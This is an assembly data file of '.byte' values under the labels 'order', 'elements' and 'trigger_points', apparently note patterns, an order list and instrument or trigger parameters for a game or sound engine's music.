.byte 0
.byte 0
.byte 0
.byte 65
.byte 188
.byte 70
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 70
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 70
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 70
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 188
.byte 82
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 48
.byte 64
.byte 0
.byte 0
.byte 204
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 64
.byte 60
.byte 79
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 74
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 53
.byte 65
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 41
.byte 60
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 65
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 45
.byte 64
.byte 0
.byte 72
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 185
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 69
.byte 64
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 41
.byte 67
.byte 65
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 69
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 67
.byte 60
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 69
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
order:
.byte 9
.byte 9
.byte 24
.byte 9
.byte 8
.byte 25
.byte 0
.byte 1
.byte 5
.byte 4
.byte 6
.byte 21
.byte 22
.byte 23
.byte 3
.byte 7
.byte 3
.byte 26
.byte 27
.byte 2
.byte 13
.byte 14
.byte 15
.byte 16
.byte 17
.byte 18
.byte 19
.byte 20
.byte 29
.byte 4
.byte 6
.byte 30
.byte 12
.byte 10
.byte 10
.byte 11
.byte 28
.byte 31
elements:
.byte 130
.byte 0
.byte 0
.byte 0
.byte 64
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 209
.byte 56
.byte 0
.byte 215
.byte 35
.byte 60
.byte 0
.byte 190
.byte 127
.byte 63
.byte 1
.byte 0
.byte 0
.byte 0
.byte 130
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 35
.byte 60
.byte 0
.byte 204
.byte 76
.byte 62
.byte 0
.byte 223
.byte 127
.byte 63
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 3
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 204
.byte 204
.byte 61
.byte 129
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 204
.byte 76
.byte 62
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 128
.byte 0
.byte 0
.byte 0
.byte 56
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 235
.byte 61
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 143
.byte 130
.byte 63
.byte 130
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 35
.byte 60
.byte 0
.byte 153
.byte 25
.byte 63
.byte 0
.byte 223
.byte 127
.byte 63
.byte 1
.byte 0
.byte 0
.byte 0
.byte 129
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 153
.byte 25
.byte 63
.byte 0
.byte 0
.byte 0
.byte 0
.byte 128
.byte 0
.byte 0
.byte 0
.byte 80
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 109
.byte 61
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 163
.byte 0
.byte 64
.byte 0
.byte 1
.byte 0
.byte 0
.byte 56
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 109
.byte 61
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 130
.byte 63
.byte 130
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 209
.byte 56
.byte 0
.byte 0
.byte 0
.byte 63
.byte 0
.byte 255
.byte 127
.byte 63
.byte 1
.byte 0
.byte 0
.byte 0
.byte 129
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 153
.byte 153
.byte 62
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 3
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 64
.byte 0
.byte 0
.byte 160
.byte 64
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 130
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 35
.byte 60
.byte 0
.byte 122
.byte 20
.byte 62
.byte 0
.byte 251
.byte 127
.byte 63
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 3
.byte 0
.byte 56
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 128
.byte 0
.byte 1
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 51
.byte 63
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 183
.byte 209
.byte 56
.byte 0
.byte 0
.byte 0
.byte 0
.byte 129
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 204
.byte 76
.byte 62
.byte 0
.byte 0
.byte 0
.byte 0
.byte 130
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 35
.byte 60
.byte 0
.byte 194
.byte 117
.byte 61
.byte 0
.byte 92
.byte 127
.byte 63
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 8
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 8
.byte 0
.byte 56
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 204
.byte 62
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 130
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 35
.byte 60
.byte 0
.byte 51
.byte 179
.byte 62
.byte 0
.byte 229
.byte 127
.byte 63
.byte 1
.byte 0
.byte 0
.byte 0
.byte 129
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 128
.byte 0
.byte 0
.byte 0
.byte 80
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 153
.byte 61
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 163
.byte 192
.byte 63
.byte 130
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 73
.byte 54
.byte 0
.byte 133
.byte 107
.byte 62
.byte 0
.byte 255
.byte 127
.byte 63
.byte 1
.byte 0
.byte 0
.byte 0
.byte 128
.byte 1
.byte 3
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 35
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 197
.byte 39
.byte 55
.byte 0
.byte 0
.byte 0
.byte 0
.byte 129
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 204
.byte 76
.byte 63
.byte 0
.byte 0
.byte 0
.byte 0
.byte 130
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 35
.byte 60
.byte 0
.byte 0
.byte 128
.byte 62
.byte 0
.byte 190
.byte 127
.byte 63
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 56
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 130
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 131
.byte 58
.byte 0
.byte 0
.byte 0
.byte 63
.byte 0
.byte 236
.byte 127
.byte 63
.byte 1
.byte 0
.byte 0
.byte 0
.byte 129
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 153
.byte 153
.byte 62
.byte 0
.byte 204
.byte 76
.byte 63
.byte 0
.byte 0
.byte 0
.byte 0
trigger_points:
.byte 2
.byte 0
.byte 0
.byte 0
.byte 26
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 153
.byte 1
.byte 0
.byte 0
.byte 130
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 97
.byte 0
.byte 0
.byte 0
.byte 122
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 153
.byte 1
.byte 0
.byte 0
.byte 130
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 169
.byte 0
.byte 0
.byte 0
.byte 193
.byte 0
.byte 0
.byte 0
.byte 218
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 249
.byte 1
.byte 0
.byte 0
.byte 18
.byte 2
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 169
.byte 0
.byte 0
.byte 0
.byte 193
.byte 0
.byte 0
.byte 0
.byte 218
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 249
.byte 1
.byte 0
.byte 0
.byte 18
.byte 2
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 169
.byte 0
.byte 0
.byte 0
.byte 193
.byte 0
.byte 0
.byte 0
.byte 218
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 249
.byte 1
.byte 0
.byte 0
.byte 18
.byte 2
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 113
.byte 2
.byte 0
.byte 0
.byte 90
.byte 2
.byte 0
.byte 0
.byte 138
.byte 2
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 2
.byte 0
.byte 0
.byte 0
.byte 26
